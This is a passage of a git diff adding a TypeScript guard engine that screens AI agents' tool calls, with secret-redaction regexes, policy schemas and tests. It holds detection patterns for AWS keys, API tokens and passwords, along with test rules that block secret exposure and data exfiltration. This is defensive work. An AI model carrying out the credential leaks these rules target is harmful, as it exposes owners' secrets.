/sk-(?:proj-)?[a-zA-Z0-9]{20,}/g; +const BEARER_TOKEN_PATTERN = /Bearer [A-Za-z0-9._\-]+/g; +const PASSWORD_PATTERN = /password\s*[:=]\s*\S+/gi; +const EMAIL_PATTERN = /[a-zA-Z0-9._%+-]+@[a-zA-Z0-9.-]+\.[a-zA-Z]{2,}/g; + +const REPLACEMENTS: Array<{ pattern: RegExp; replacement: string }> = [ + { pattern: AWS_KEY_PATTERN, replacement: '[REDACTED_AWS_KEY]' }, + { pattern: API_KEY_PATTERN, replacement: '[REDACTED_API_KEY]' }, + { pattern: BEARER_TOKEN_PATTERN, replacement: 'Bearer [REDACTED]' }, + { pattern: PASSWORD_PATTERN, replacement: 'password=[REDACTED]' }, +]; + +function hashEmail(email: string): string { + const digest = createHash('sha256').update(email.toLowerCase()).digest('hex'); + return `[EMAIL_HASH:${digest.slice(0, 12)}]`; +} + +function redactEmails(text: string, mode: EmailRedactionMode): string { + if (mode === 'off') { + return text; + } + + return text.replace(EMAIL_PATTERN, (email) => { + if (mode === 'hash') { + return hashEmail(email); + } + return '[REDACTED_EMAIL]'; + }); +} + +/** + * Apply frozen v0.1 secret redaction patterns (SPEC §9.6). + */ +export function redactText(text: string, options: RedactionOptions = {}): string { + let result = text; + + for (const { pattern, replacement } of REPLACEMENTS) { + result = result.replace(pattern, replacement); + } + + return redactEmails(result, options.emails ?? 'hash'); +} + +/** + * Deep-redact unknown values by stringifying leaf nodes. + */ +export function redactValue(value: unknown, options: RedactionOptions = {}): unknown { + if (value === null || value === undefined) { + return value; + } + + if (typeof value === 'string') { + return redactText(value, options); + } + + if (typeof value === 'number' || typeof value === 'boolean') { + return value; + } + + if (Array.isArray(value)) { + return value.map((item) => redactValue(item, options)); + } + + if (typeof value === 'object') { + const result: Record = {}; + for (const [key, nested] of Object.entries(value)) { + result[key] = redactValue(nested, options); + } + return result; + } + + return redactText(String(value), options); +} + +export function redactArguments( + args: Record, + options: RedactionOptions = {}, +): Record { + return redactValue(args, options) as Record; +} + +export const REDACTION_PATTERNS = [ + 'AKIA[0-9A-Z]{16}', + 'sk-(?:proj-)?[a-zA-Z0-9]{20,}', + 'Bearer [A-Za-z0-9._\\-]+', + 'password\\s*[:=]\\s*\\S+', +] as const; diff --git a/packages/engine-ts/src/shield.ts b/packages/engine-ts/src/shield.ts new file mode 100644 index 0000000..d023fc6 --- /dev/null +++ b/packages/engine-ts/src/shield.ts @@ -0,0 +1,172 @@ +import { readFile } from 'node:fs/promises'; +import { resolve, dirname } from 'node:path'; +import { parse as parseYaml } from 'yaml'; + +import { runClassifierPipeline } from './classifiers/pipeline.js'; +import { + LexShieldBlockedError, + LexShieldChallengeError, + LexShieldConfigError, +} from './errors.js'; +import { evaluatePolicy } from './policy/engine.js'; +import { loadPolicyFromFile, resolvePolicyPath } from './policy/loader.js'; +import { + DeterministicRulesSchema, + ShieldConfigSchema, + ToolCallRequestSchema, + type Policy, + type ShieldConfig, + type ToolCallRequest, + type Verdict, +} from './types.js'; + +export interface ShieldOptions { + config: ShieldConfig; + policy: Policy; + deterministicRules?: ReturnType; +} + +export interface EvaluateInput { + tool: string; + arguments?: Record; + caller?: ToolCallRequest['caller']; + context?: ToolCallRequest['context']; + id?: string; + timestamp?: string; +} + +export interface GuardOptions { + awaitChallenge?: boolean; +} + +export class Shield { + readonly id: string; + readonly name: string; + private readonly policy: Policy; + private readonly config: ShieldConfig; + private readonly deterministicRules: ReturnType; + + private constructor(options: ShieldOptions) { + this.config = options.config; + this.policy = options.policy; + this.id = options.config.shield.id; + this.name = options.config.shield.name; + this.deterministicRules = + options.deterministicRules ?? + DeterministicRulesSchema.parse({ version: '1', tool_map: {}, patterns: [] }); + } + + static async fromConfig(configPath: string): Promise { + let raw: string; + try { + raw = await readFile(configPath, 'utf8'); + } catch (error) { + throw new LexShieldConfigError(`Failed to read config file: ${configPath}`, { cause: error }); + } + + let parsed: unknown; + try { + parsed = parseYaml(raw); + } catch (error) { + throw new LexShieldConfigError(`Invalid YAML in config: ${configPath}`, { cause: error }); + } + + const configResult = ShieldConfigSchema.safeParse(parsed); + if (!configResult.success) { + throw new LexShieldConfigError( + `Config validation failed for ${configPath}: ${configResult.error.message}`, + { cause: configResult.error }, + ); + } + + const config = configResult.data; + const policyPath = await resolvePolicyPath(configPath, config.shield.policy); + const policy = await loadPolicyFromFile(policyPath); + + let deterministicRules = DeterministicRulesSchema.parse({ + version: '1', + tool_map: {}, + patterns: [], + }); + + const deterministicClassifier = config.shield.classifiers.find( + (classifier) => classifier.type === 'deterministic', + ); + + if (deterministicClassifier && typeof deterministicClassifier.path === 'string') { + const rulesPath = resolve(dirname(resolve(configPath)), deterministicClassifier.path); + const rulesRaw = await readFile(rulesPath, 'utf8'); + const rulesParsed = parseYaml(rulesRaw); + const rulesResult = DeterministicRulesSchema.safeParse(rulesParsed); + if (!rulesResult.success) { + throw new LexShieldConfigError( + `Deterministic rules validation failed for ${rulesPath}: ${rulesResult.error.message}`, + { cause: rulesResult.error }, + ); + } + deterministicRules = rulesResult.data; + } + + return new Shield({ config, policy, deterministicRules }); + } + + static fromOptions(options: ShieldOptions): Shield { + return new Shield(options); + } + + async evaluate(input: EvaluateInput): Promise { + const startedAt = Date.now(); + const request = ToolCallRequestSchema.parse({ + id: input.id ?? `req-${startedAt}`, + shieldId: this.id, + timestamp: input.timestamp ?? new Date().toISOString(), + caller: input.caller ?? { id: 'anonymous', type: 'agent' }, + tool: { name: input.tool }, + arguments: input.arguments ?? {}, + context: input.context ?? {}, + }); + + const classifications = await runClassifierPipeline(request, { + deterministicRules: this.deterministicRules, + llmEnabled: this.config.shield.classifiers.some((c) => c.type === 'llm'), + }); + + return evaluatePolicy( + this.policy, + { request, classifications }, + startedAt, + ); + } + + guard, TResult>( + toolName: string, + fn: (args: TArgs) => Promise, + options: GuardOptions = {}, + ): (args: TArgs) => Promise { + return async (args: TArgs) => { + const verdict = await this.evaluate({ + tool: toolName, + arguments: args, + }); + + if (verdict.decision === 'BLOCK') { + throw new LexShieldBlockedError(verdict.reason, { + requestId: verdict.requestId, + verdict, + }); + } + + if (verdict.decision === 'CHALLENGE') { + if (options.awaitChallenge) { + // Challenge resolution is not implemented in the scaffold. + } + throw new LexShieldChallengeError(verdict.reason, { + requestId: verdict.requestId, + verdict, + }); + } + + return fn(args); + }; + } +} diff --git a/packages/engine-ts/src/types.ts b/packages/engine-ts/src/types.ts new file mode 100644 index 0000000..8fa84ee --- /dev/null +++ b/packages/engine-ts/src/types.ts @@ -0,0 +1,212 @@ +import { z } from 'zod'; + +export const VerdictTypeSchema = z.enum(['ALLOW', 'BLOCK', 'CHALLENGE', 'DEFER']); +export type VerdictType = z.infer; + +export const CallerTypeSchema = z.enum(['user', 'agent', 'service_account']); +export type CallerType = z.infer; + +export const OutcomeTypeSchema = z.enum([ + 'EXECUTED', + 'BLOCKED', + 'CHALLENGED', + 'DEFERRED', + 'ERROR', + 'APPROVED_EXECUTED', + 'DENIED', +]); +export type OutcomeType = z.infer; + +export const ChallengeConfigSchema = z.object({ + channel: z.enum(['stdout', 'webhook', 'slack', 'dashboard']), + timeoutSeconds: z.number().int().positive(), + onTimeout: z.enum(['BLOCK', 'ALLOW']), + reviewers: z.array(z.string()).optional(), +}); +export type ChallengeConfig = z.infer; + +export const RuleMatchSchema = z.object({ + intents: z.array(z.string()).optional(), + tools: z.array(z.string()).optional(), + callers: z.array(z.string()).optional(), + roles: z.array(z.string()).optional(), + environments: z.array(z.string()).optional(), + tags: z.record(z.array(z.string())).optional(), + minConfidence: z.number().min(0).max(1).optional(), + expression: z.string().optional(), +}); +export type RuleMatch = z.infer; + +export const PolicyRuleSchema = z.object({ + id: z.string(), + name: z.string(), + priority: z.number(), + enabled: z.boolean().optional(), + match: RuleMatchSchema, + verdict: VerdictTypeSchema, + reason: z.string(), + challenge: ChallengeConfigSchema.optional(), +}); +export type PolicyRule = z.infer; + +export const PolicySchema = z.object({ + id: z.string(), + name: z.string(), + version: z.union([z.string(), z.number()]).transform(String), + description: z.string().optional(), + defaultVerdict: VerdictTypeSchema, + rules: z.array(PolicyRuleSchema), + taxonomyRef: z.string().optional(), + severity_threshold: z + .object({ + alternatives_min_confidence: z.number().min(0).max(1).optional(), + }) + .optional(), +}); +export type Policy = z.infer; + +export const CallerSchema = z.object({ + id: z.string(), + type: CallerTypeSchema, + roles: z.array(z.string()).optional(), + metadata: z.record(z.unknown()).optional(), +}); +export type Caller = z.infer; + +export const ToolRefSchema = z.object({ + name: z.string(), + namespace: z.string().optional(), + version: z.string().optional(), +}); +export type ToolRef = z.infer; + +export const PriorCallSchema = z.object({ + timestamp: z.string(), + tool: ToolRefSchema, + intent: z.string(), + verdict: VerdictTypeSchema, +}); +export type PriorCall = z.infer; + +export const CallContextSchema = z.object({ + conversationId: z.string().optional(), + messages: z + .array( + z.object({ + role: z.string(), + content: z.string(), + }), + ) + .optional(), + priorCalls: z.array(PriorCallSchema).optional(), + environment: z.string().optional(), + tags: z.record(z.string()).optional(), +}); +export type CallContext = z.infer; + +export const ToolCallRequestSchema = z.object({ + id: z.string(), + shieldId: z.string(), + timestamp: z.string(), + caller: CallerSchema, + tool: ToolRefSchema, + arguments: z.record(z.unknown()), + context: CallContextSchema, +}); +export type ToolCallRequest = z.infer; + +export const ClassificationSchema = z.object({ + intent: z.string(), + confidence: z.number().min(0).max(1), + alternatives: z.array( + z.object({ + intent: z.string(), + confidence: z.number().min(0).max(1), + }), + ), + classifier: z.string(), + reasoning: z.string().optional(), + signalsUsed: z.array(z.string()).optional(), +}); +export type Classification = z.infer; + +export const VerdictSchema = z.object({ + requestId: z.string(), + decision: VerdictTypeSchema, + matchedRuleId: z.string().optional(), + reason: z.string(), + classifications: z.array(ClassificationSchema), + durationMs: z.number().nonnegative(), + challengeId: z.string().optional(), + policyVersion: z.string().optional(), +}); +export type Verdict = z.infer; + +export const TraceSchema = z.object({ + id: z.string(), + request: ToolCallRequestSchema, + verdict: VerdictSchema, + outcome: OutcomeTypeSchema.optional(), + outcomeAt: z.string().optional(), + redactions: z.array(z.string()).optional(), + metadata: z.record(z.unknown()).optional(), +}); +export type Trace = z.infer; + +export const SinkConfigSchema = z.object({ + type: z.enum(['stdout', 'file', 'http', 'otlp']), + options: z.record(z.unknown()).default({}), +}); +export type SinkConfig = z.infer; + +export const UpstreamConfigSchema = z.object({ + url: z.string().url(), + headers: z.record(z.string()).optional(), + timeoutMs: z.number().int().positive().optional(), +}); +export type UpstreamConfig = z.infer; + +export const ShieldConfigSchema = z.object({ + version: z.union([z.string(), z.number()]).transform(String), + shield: z.object({ + id: z.string(), + name: z.string(), + policy: z.string(), + taxonomy: z.string().optional(), + classifiers: z.array(z.record(z.unknown())).default([]), + fail_on_classifier_error: VerdictTypeSchema.optional(), + sinks: z.array(SinkConfigSchema).default([]), + proxy: z + .object({ + enabled: z.boolean().default(false), + upstreams: z.record(UpstreamConfigSchema).optional(), + }) + .optional(), + }), + server: z + .object({ + host: z.string().default('127.0.0.1'), + port: z.number().int().positive().default(8787), + token_env: z.string().optional(), + }) + .optional(), +}); +export type ShieldConfig = z.infer; + +export const DeterministicRulesSchema = z.object({ + version: z.union([z.string(), z.number()]).transform(String), + tool_map: z.record(z.string()).default({}), + patterns: z + .array( + z.object({ + name: z.string(), + match: z.object({ + any_arg_regex: z.string().optional(), + }).passthrough(), + intent: z.string(), + confidence: z.number().min(0).max(1), + }), + ) + .default([]), +}); +export type DeterministicRules = z.infer; diff --git a/packages/engine-ts/src/version.ts b/packages/engine-ts/src/version.ts new file mode 100644 index 0000000..37025ab --- /dev/null +++ b/packages/engine-ts/src/version.ts @@ -0,0 +1 @@ +export const VERSION = '0.1.0'; diff --git a/packages/engine-ts/tests/golden.test.ts b/packages/engine-ts/tests/golden.test.ts new file mode 100644 index 0000000..5132ec0 --- /dev/null +++ b/packages/engine-ts/tests/golden.test.ts @@ -0,0 +1,175 @@ +import { access, readdir, readFile } from 'node:fs/promises'; +import { join, resolve } from 'node:path'; +import { fileURLToPath } from 'node:url'; + +import { parse as parseYaml } from 'yaml'; +import { describe, expect, it } from 'vitest'; + +import { classifyDeterministic, loadDeterministicRulesFromFile } from '../src/classifiers/deterministic.js'; +import { evaluatePolicy } from '../src/policy/engine.js'; +import { loadPolicyFromData, loadPolicyFromFile } from '../src/policy/loader.js'; +import { ToolCallRequestSchema, type Policy, type ToolCallRequest } from '../src/types.js'; + +const workspaceRoot = resolve(fileURLToPath(new URL('../../..', import.meta.url))); +const fixturesRoot = join(workspaceRoot, 'fixtures', 'golden'); +const UNKNOWN_INTENT = 'unknown.unclassified'; + +interface PolicyRef { + pack?: string; + policy: string | Record; + rules?: string; +} + +interface GoldenExpected { + decision: string; + matchedRuleId?: string | null; + reason: string; + primaryIntent?: string; + strict?: boolean; +} + +async function listGoldenScenarios(): Promise { + const entries = await readdir(fixturesRoot, { withFileTypes: true }); + const scenarios: string[] = []; + + for (const entry of entries) { + if (!entry.isDirectory()) { + continue; + } + try { + await access(join(fixturesRoot, entry.name, 'request.json')); + scenarios.push(entry.name); + } catch { + // skip directories without request.json + } + } + + return scenarios.sort(); +} + +function resolveFixturePath(baseDir: string, value: string): string { + const path = value.startsWith('/') ? value : resolve(baseDir, value); + return path; +} + +async function loadPolicyRef(scenarioDir: string): Promise<{ + policy: Policy; + rulesPath: string | null; +}> { + const policyRefRaw = await readFile(join(scenarioDir, 'policy-ref.yaml'), 'utf8'); + const policyRef = parseYaml(policyRefRaw) as PolicyRef; + + let policy: Policy; + if (typeof policyRef.policy === 'object' && policyRef.policy !== null) { + policy = loadPolicyFromData(policyRef.policy, join(scenarioDir, 'policy-ref.yaml')); + } else if (typeof policyRef.policy === 'string') { + policy = await loadPolicyFromFile(resolveFixturePath(scenarioDir, policyRef.policy)); + } else if (policyRef.pack) { + policy = await loadPolicyFromFile(join(workspaceRoot, 'packs', policyRef.pack, 'policy.yaml')); + } else { + throw new Error(`policy-ref.yaml in ${scenarioDir} must define policy or pack`); + } + + let rulesPath: string | null = null; + if (typeof policyRef.rules === 'string') { + rulesPath = resolveFixturePath(scenarioDir, policyRef.rules); + } else { + const rulesRefPath = join(scenarioDir, 'rules-ref.yaml'); + try { + await readFile(rulesRefPath, 'utf8'); + rulesPath = rulesRefPath; + } catch { + if (policyRef.pack) { + rulesPath = join(workspaceRoot, 'packs', policyRef.pack, 'rules.yaml'); + } + } + } + + return { policy, rulesPath }; +} + +async function classificationsForRequest( + request: ToolCallRequest, + rulesPath: string | null, +) { + if (!rulesPath) { + return [ + { + intent: UNKNOWN_INTENT, + confidence: 0.5, + alternatives: [], + classifier: 'deterministic:v1', + reasoning: 'No deterministic classification', + }, + ]; + } + + const rules = await loadDeterministicRulesFromFile(rulesPath); + const result = classifyDeterministic(request, { rules }); + if (result) { + return [result]; + } + + return [ + { + intent: UNKNOWN_INTENT, + confidence: 0.5, + alternatives: [], + classifier: 'deterministic:v1', + reasoning: 'No deterministic classification', + }, + ]; +} + +async function loadGoldenScenario(scenario: string) { + const scenarioDir = join(fixturesRoot, scenario); + const requestRaw = await readFile(join(scenarioDir, 'request.json'), 'utf8'); + const expectedRaw = await readFile(join(scenarioDir, 'expected.json'), 'utf8'); + + const request = ToolCallRequestSchema.parse(JSON.parse(requestRaw)); + const expected = JSON.parse(expectedRaw) as GoldenExpected; + const strict = Boolean(expected.strict); + delete expected.strict; + + const { policy, rulesPath } = await loadPolicyRef(scenarioDir); + const classifications = await classificationsForRequest(request, rulesPath); + const verdict = evaluatePolicy(policy, { request, classifications }); + + return { + scenario, + expected, + verdict, + primaryIntent: classifications[0]?.intent, + strict, + }; +} + +describe('golden fixtures', () => { + it('discovers fixture scenarios', async () => { + const scenarios = await listGoldenScenarios(); + expect(scenarios.length).toBeGreaterThan(0); + }); + + it('matches Python verdicts for all fixtures', async () => { + const scenarios = await listGoldenScenarios(); + + for (const scenario of scenarios) { + const result = await loadGoldenScenario(scenario); + + expect(result.verdict.decision, `${scenario} decision`).toBe(result.expected.decision); + expect(result.verdict.reason, `${scenario} reason`).toBe(result.expected.reason); + + if ('matchedRuleId' in result.expected) { + expect(result.verdict.matchedRuleId, `${scenario} matchedRuleId`).toBe( + result.expected.matchedRuleId ?? undefined, + ); + } + + if (result.expected.primaryIntent !== undefined) { + expect(result.primaryIntent, `${scenario} primaryIntent`).toBe( + result.expected.primaryIntent, + ); + } + } + }); +}); diff --git a/packages/engine-ts/tests/policy-engine.test.ts b/packages/engine-ts/tests/policy-engine.test.ts new file mode 100644 index 0000000..7d381ec --- /dev/null +++ b/packages/engine-ts/tests/policy-engine.test.ts @@ -0,0 +1,372 @@ +import { resolve } from 'node:path'; +import { fileURLToPath } from 'node:url'; + +import { describe, expect, it } from 'vitest'; + +import { evaluatePolicy } from '../src/policy/engine.js'; +import { Expression, ExpressionError, buildExpressionBindings } from '../src/policy/expressions.js'; +import { loadPolicyFromFile } from '../src/policy/loader.js'; +import type { Classification, Policy, ToolCallRequest } from '../src/types.js'; + +const workspaceRoot = resolve(fileURLToPath(new URL('../../..', import.meta.url))); +const baselinePolicyPath = resolve(workspaceRoot, 'packs/baseline-deny/policy.yaml'); + +function classification( + intent: string, + confidence = 0.9, + alternatives: Array<{ intent: string; confidence: number }> = [], +): Classification { + return { + intent, + confidence, + alternatives, + classifier: 'test', + }; +} + +function request(options: { + tool?: string; + arguments?: Record; + environment?: string; + tags?: Record; + callerId?: string; + callerRoles?: string[]; +} = {}): ToolCallRequest { + return { + id: '01JTEST', + shieldId: 'local', + timestamp: '2026-07-11T12:00:00.000Z', + caller: { + id: options.callerId ?? 'agent-1', + type: 'agent', + roles: options.callerRoles, + }, + tool: { name: options.tool ?? 'health_check' }, + arguments: options.arguments ?? {}, + context: { + environment: options.environment, + tags: options.tags, + }, + }; +} + +async function loadBaselinePolicy(): Promise { + return loadPolicyFromFile(baselinePolicyPath); +} + +describe('evaluatePolicy', () => { + it('allows health checks', async () => { + const policy = await loadBaselinePolicy(); + const verdict = evaluatePolicy(policy, { + request: request({ tool: 'health_check' }), + classifications: [classification('network.request.health')], + }); + + expect(verdict.decision).toBe('ALLOW'); + expect(verdict.matchedRuleId).toBe('allow-health'); + expect(verdict.reason).toBe('Health checks are always allowed'); + }); + + it('blocks secret exposure', async () => { + const policy = await loadBaselinePolicy(); + const verdict = evaluatePolicy(policy, { + request: request({ + tool: 'send_email', + arguments: { body: 'AKIAIOSFODNN7EXAMPLE' }, + }), + classifications: [classification('security.secret_exposure', 0.98)], + }); + + expect(verdict.decision).toBe('BLOCK'); + expect(verdict.matchedRuleId).toBe('block-secret-exposure'); + expect(verdict.reason).toBe('Possible secret exposure in tool arguments'); + }); + + it('challenges destructive actions in production', async () => { + const policy = await loadBaselinePolicy(); + const verdict = evaluatePolicy(policy, { + request: request({ + tool: 'delete_resource', + environment: 'production', + }), + classifications: [classification('infra.delete.resource', 0.95)], + }); + + expect(verdict.decision).toBe('CHALLENGE'); + expect(verdict.matchedRuleId).toBe('challenge-delete-prod'); + expect(verdict.reason).toBe('Destructive action in production requires approval'); + expect(verdict.challengeId).toBe('challenge-01JTEST'); + }); + + it('tie-breaks equal priority by rule id ascending', () => { + const policy: Policy = { + id: 'tie-break', + name: 'Tie break', + version: '1', + defaultVerdict: 'BLOCK', + rules: [ + { + id: 'rule-b', + name: 'Rule B', + priority: 300, + match: { intents: ['security.secret_exposure'] }, + verdict: 'BLOCK', + reason: 'Blocked by rule-b', + }, + { + id: 'rule-a', + name: 'Rule A', + priority: 300, + match: { intents: ['security.secret_exposure'] }, + verdict: 'ALLOW', + reason: 'Allowed by rule-a', + }, + ], + }; + + const verdict = evaluatePolicy(policy, { + request: request({ tool: 'send_email' }), + classifications: [classification('security.secret_exposure')], + }); + + expect(verdict.decision).toBe('ALLOW'); + expect(verdict.matchedRuleId).toBe('rule-a'); + }); + + it('denies unclassified intents when no rule matches', async () => { + const policy = await loadBaselinePolicy(); + const verdict = evaluatePolicy(policy, { + request: request({ tool: 'unknown_tool' }), + classifications: [classification('unknown.unclassified', 0.2)], + }); + + expect(verdict.decision).toBe('BLOCK'); + expect(verdict.matchedRuleId).toBeUndefined(); + expect(verdict.reason).toBe( + 'No matching policy rule; default deny for unclassified intent', + ); + }); + + it('matches tool globs', () => { + const policy: Policy = { + id: 'glob-tools', + name: 'Glob tools', + version: '1', + defaultVerdict: 'BLOCK', + rules: [ + { + id: 'allow-send', + name: 'Allow send tools', + priority: 100, + match: { + tools: ['send_*'], + intents: ['comms.send.email'], + }, + verdict: 'ALLOW', + reason: 'Send tools allowed', + }, + ], + }; + + const verdict = evaluatePolicy(policy, { + request: request({ tool: 'send_email' }), + classifications: [classification('comms.send.email')], + }); + + expect(verdict.decision).toBe('ALLOW'); + expect(verdict.matchedRuleId).toBe('allow-send'); + }); + + it('requires all configured tags', () => { + const policy: Policy = { + id: 'tag-policy', + name: 'Tag policy', + version: '1', + defaultVerdict: 'BLOCK', + rules: [ + { + id: 'challenge-pii', + name: 'Challenge PII', + priority: 200, + match: { + intents: ['comms.send.email'], + tags: { data_class: ['pii'], region: ['us'] }, + }, + verdict: 'CHALLENGE', + reason: 'PII egress requires approval', + }, + ], + }; + + const blocked = evaluatePolicy(policy, { + request: request({ + tool: 'send_email', + tags: { data_class: 'pii' }, + }), + classifications: [classification('comms.send.email')], + }); + expect(blocked.decision).toBe('BLOCK'); + expect(blocked.matchedRuleId).toBeUndefined(); + + const challenged = evaluatePolicy(policy, { + request: request({ + tool: 'send_email', + tags: { data_class: 'pii', region: 'us' }, + }), + classifications: [classification('comms.send.email')], + }); + expect(challenged.decision).toBe('CHALLENGE'); + expect(challenged.matchedRuleId).toBe('challenge-pii'); + }); + + it('evaluates expressions for block and allow rules', () => { + const policy: Policy = { + id: 'expr-policy', + name: 'Expression policy', + version: '1', + defaultVerdict: 'BLOCK', + rules: [ + { + id: 'block-gmail', + name: 'Block gmail recipients', + priority: 250, + match: { + intents: ['comms.send.email'], + expression: 'env == "production" && args.to contains "@gmail.com"', + }, + verdict: 'BLOCK', + reason: 'Gmail not allowed in production', + }, + { + id: 'allow-allowlisted-url', + name: 'Allow allowlisted URL', + priority: 200, + match: { + intents: ['network.request.http'], + expression: 'args.url startsWith "https://api.mycompany.com/"', + }, + verdict: 'ALLOW', + reason: 'Allowlisted host', + }, + ], + }; + + const blocked = evaluatePolicy(policy, { + request: request({ + tool: 'send_email', + arguments: { to: 'user@gmail.com' }, + environment: 'production', + }), + classifications: [classification('comms.send.email')], + }); + expect(blocked.decision).toBe('BLOCK'); + expect(blocked.matchedRuleId).toBe('block-gmail'); + + const allowed = evaluatePolicy(policy, { + request: request({ + tool: 'http_request', + arguments: { url: 'https://api.mycompany.com/v1/data' }, + }), + classifications: [classification('network.request.http')], + }); + expect(allowed.decision).toBe('ALLOW'); + expect(allowed.matchedRuleId).toBe('allow-allowlisted-url'); + }); + + it('matches alternative intents on the primary classification', () => { + const policy: Policy = { + id: 'alt-intent', + name: 'Alt intent', + version: '1', + defaultVerdict: 'BLOCK', + rules: [ + { + id: 'allow-alt', + name: 'Allow alt', + priority: 100, + match: { intents: ['data.exfiltrate'] }, + verdict: 'BLOCK', + reason: 'Blocked exfil', + }, + ], + }; + + const verdict = evaluatePolicy(policy, { + request: request({ tool: 'http_request' }), + classifications: [ + classification('network.request.http', 0.6, [ + { intent: 'data.exfiltrate', confidence: 0.4 }, + ]), + ], + }); + + expect(verdict.decision).toBe('BLOCK'); + expect(verdict.matchedRuleId).toBe('allow-alt'); + }); + + it('skips disabled rules', () => { + const policy: Policy = { + id: 'disabled', + name: 'Disabled', + version: '1', + defaultVerdict: 'ALLOW', + rules: [ + { + id: 'disabled-block', + name: 'Disabled block', + priority: 500, + enabled: false, + match: { tools: ['health_check'] }, + verdict: 'BLOCK', + reason: 'Would block', + }, + ], + }; + + const verdict = evaluatePolicy(policy, { + request: request({ tool: 'health_check' }), + classifications: [classification('network.request.health')], + }); + + expect(verdict.decision).toBe('ALLOW'); + expect(verdict.matchedRuleId).toBeUndefined(); + }); + + it('applies default verdict for classified requests with no rule match', async () => { + const policy = await loadBaselinePolicy(); + const verdict = evaluatePolicy(policy, { + request: request({ tool: 'send_email' }), + classifications: [classification('comms.send.email', 0.7)], + }); + + expect(verdict.decision).toBe('BLOCK'); + expect(verdict.matchedRuleId).toBeUndefined(); + expect(verdict.reason).toBe('No matching rule; applied default verdict BLOCK'); + }); +}); + +describe('Expression', () => { + it('rejects empty expressions', () => { + expect(() => Expression.parse(' ')).toThrow(ExpressionError); + }); + + it('supports the in operator', () => { + const expr = Expression.parse('intent in ["comms.send.email", "comms.send.slack"]'); + const bindings = { + intent: 'comms.send.email', + confidence: 0.9, + 'tool.name': 'send_email', + 'caller.id': 'agent-1', + 'caller.type': 'agent', + env: 'staging', + }; + + expect(expr.evaluate(bindings)).toBe(true); + }); + + it('supports numeric comparison bindings', () => { + const expr = Expression.parse('confidence >= 0.7'); + const bindings = buildExpressionBindings(request(), [classification('network.request.health', 0.75)]); + expect(expr.evaluate(bindings)).toBe(true); + }); +}); diff --git a/packages/engine-ts/tests/redaction.test.ts b/packages/engine-ts/tests/redaction.test.ts new file mode 100644 index 0000000..b835ffe --- /dev/null +++ b/packages/engine-ts/tests/redaction.test.ts @@ -0,0 +1,58 @@ +import { describe, expect, it } from 'vitest'; + +import { redactArguments, redactText } from '../src/redaction.js'; + +describe('redactText', () => { + it('redacts AWS access keys', () => { + const input = 'key=AKIAIOSFODNN7EXAMPLE in body'; + expect(redactText(input)).toBe('key=[REDACTED_AWS_KEY] in body'); + }); + + it('redacts OpenAI-style API keys', () => { + expect(redactText('token sk-abcdefghijklmnopqrstuvwxyz123456')).toBe( + 'token [REDACTED_API_KEY]', + ); + expect(redactText('token sk-proj-abcdefghijklmnopqrstuvwxyz123456')).toBe( + 'token [REDACTED_API_KEY]', + ); + }); + + it('redacts bearer tokens', () => { + expect(redactText('Authorization: Bearer eyJhbGciOiJIUzI1NiJ9.abc')).toBe( + 'Authorization: Bearer [REDACTED]', + ); + }); + + it('redacts password assignments case-insensitively', () => { + expect(redactText('db PASSWORD: s3cret!')).toBe('db password=[REDACTED]'); + expect(redactText('db password= s3cret!')).toBe('db password=[REDACTED]'); + }); + + it('hashes emails by default', () => { + const result = redactText('contact user@example.com please'); + expect(result).toMatch(/contact \[EMAIL_HASH:[a-f0-9]{12}\] please/); + expect(result).not.toContain('user@example.com'); + }); + + it('fully redacts emails when configured', () => { + expect(redactText('contact user@example.com please', { emails: 'redact' })).toBe( + 'contact [REDACTED_EMAIL] please', + ); + }); +}); + +describe('redactArguments', () => { + it('redacts nested secret values in argument objects', () => { + const redacted = redactArguments({ + to: 'ops@example.com', + body: 'rotate AKIAIOSFODNN7EXAMPLE now', + nested: { + token: 'Bearer abc.def-ghi', + }, + }); + + expect(redacted.body).toBe('rotate [REDACTED_AWS_KEY] now'); + expect(redacted.nested).toEqual({ token: 'Bearer [REDACTED]' }); + expect(String(redacted.to)).toMatch(/\[EMAIL_HASH:[a-f0-9]{12}\]/); + }); +}); diff --git a/packages/engine-ts/tests/shield.test.ts b/packages/engine-ts/tests/shield.test.ts new file mode 100644 index 0000000..5746395 --- /dev/null +++ b/packages/engine-ts/tests/shield.test.ts @@ -0,0 +1,107 @@ +import { describe, expect, it } from 'vitest'; + +import { LexShieldBlockedError } from '../src/errors.js'; +import { Shield } from '../src/shield.js'; +import type { Policy } from '../src/types.js'; + +const baselinePolicy: Policy = { + id: 'baseline-deny', + name: 'Baseline default-deny', + version: '1', + defaultVerdict: 'BLOCK', + rules: [ + { + id: 'allow-health', + name: 'Allow health checks', + priority: 100, + match: { + tools: ['health_check', 'ping'], + intents: ['network.request.health'], + }, + verdict: 'ALLOW', + reason: 'Health checks are always allowed', + }, + { + id: 'block-secret-exposure', + name: 'Block secret exposure', + priority: 300, + match: { + intents: ['security.secret_exposure'], + }, + verdict: 'BLOCK', + reason: 'Possible secret exposure in tool arguments', + }, + ], +}; + +const deterministicRules = { + version: '1', + tool_map: { + health_check: 'network.request.health', + send_email: 'comms.send.email', + }, + patterns: [ + { + name: 'aws_access_key', + match: { + any_arg_regex: 'AKIA[0-9A-Z]{16}', + }, + intent: 'security.secret_exposure', + confidence: 0.98, + }, + ], +}; + +function createShield(policy: Policy = baselinePolicy): Shield { + return Shield.fromOptions({ + config: { + version: '1', + shield: { + id: 'local', + name: 'test-shield', + policy: './policy.yaml', + classifiers: [{ type: 'deterministic', path: './rules.yaml' }], + sinks: [], + }, + }, + policy, + deterministicRules, + }); +} + +describe('Shield', () => { + it('allows health checks under default-deny policy', async () => { + const shield = createShield(); + const verdict = await shield.evaluate({ tool: 'health_check' }); + + expect(verdict.decision).toBe('ALLOW'); + expect(verdict.matchedRuleId).toBe('allow-health'); + }); + + it('blocks secret exposure detected by deterministic patterns', async () => { + const shield = createShield(); + const verdict = await shield.evaluate({ + tool: 'send_email', + arguments: { + to: 'ops@example.com', + body: 'key AKIAIOSFODNN7EXAMPLE', + }, + }); + + expect(verdict.decision).toBe('BLOCK'); + expect(verdict.matchedRuleId).toBe('block-secret-exposure'); + expect(verdict.classifications[0]?.intent).toBe('security.secret_exposure'); + }); + + it('guard raises on BLOCK and runs wrapped function on ALLOW', async () => { + const shield = createShield(); + const guarded = shield.guard('health_check', async () => 'ok'); + + await expect(guarded({})).resolves.toBe('ok'); + + const blocked = shield.guard('send_email', async () => 'sent'); + await expect( + blocked({ body: 'AKIAIOSFODNN7EXAMPLE' }), + ).rejects.toBeInstanceOf(LexShieldBlockedError); + }); +}); diff --git a/packages/engine-ts/tsconfig.json b/packages/engine-ts/tsconfig.json new file mode 100644 index 